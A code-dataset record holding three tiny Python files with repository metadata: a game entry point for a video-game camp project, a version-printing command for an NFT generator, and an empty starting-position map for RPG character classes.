reedessick/video-game-camp

09a324279c5ea9de87080f122fe27e1ef83d5373

[ "MIT" ]

null

vgc/DinosaursVsAirplanes/__main__.py

reedessick/video-game-camp

09a324279c5ea9de87080f122fe27e1ef83d5373

[ "MIT" ]

null

vgc/DinosaursVsAirplanes/__main__.py

reedessick/video-game-camp

09a324279c5ea9de87080f122fe27e1ef83d5373

[ "MIT" ]

null

from . import game game.main()

8

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5

32

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0.1875

32

3

19

10.666667

0.846154

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true

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null

0

1

0

1

0

5

edd057810862e9b45592c01aea58e9494fbf7d26

113

py

Python

nft_generator/command/version.py

nft-generator/nft_generator

e2e17a204054a39eaf5d904d0956542e11155360

[ "MIT" ]

6

2021-12-05T10:00:28.000Z

2022-01-09T02:22:46.000Z

nft_generator/command/version.py

nft-generator/nft_generator

e2e17a204054a39eaf5d904d0956542e11155360

[ "MIT" ]

null

nft_generator/command/version.py

nft-generator/nft_generator

e2e17a204054a39eaf5d904d0956542e11155360

[ "MIT" ]

5

2021-12-05T14:35:37.000Z

2022-01-13T17:02:10.000Z

import click from nft_generator import __version__ @click.command() def version(): print(__version__)

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server/src/define_player/config_init_map.py

jacksonsr45/project_game_rpg_server_python

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server/src/define_player/config_init_map.py

jacksonsr45/project_game_rpg_server_python

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server/src/define_player/config_init_map.py

jacksonsr45/project_game_rpg_server_python

b8a7750d5bcc6558431ac6ac831b1a3728651114

[ "MIT" ]

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__author__ = "jacksonsr45@gmail.com" new_init_map = { 'knight': { 'pos_x': { }, 'pos_y': { }, }, 'paladin': { 'pos_x': { }, 'pos_y': { }, }, 'mage': { 'pos_x': { }, 'pos_y': { }, }, 'ranger': { 'pos_x': { }, 'pos_y': { }, }, }

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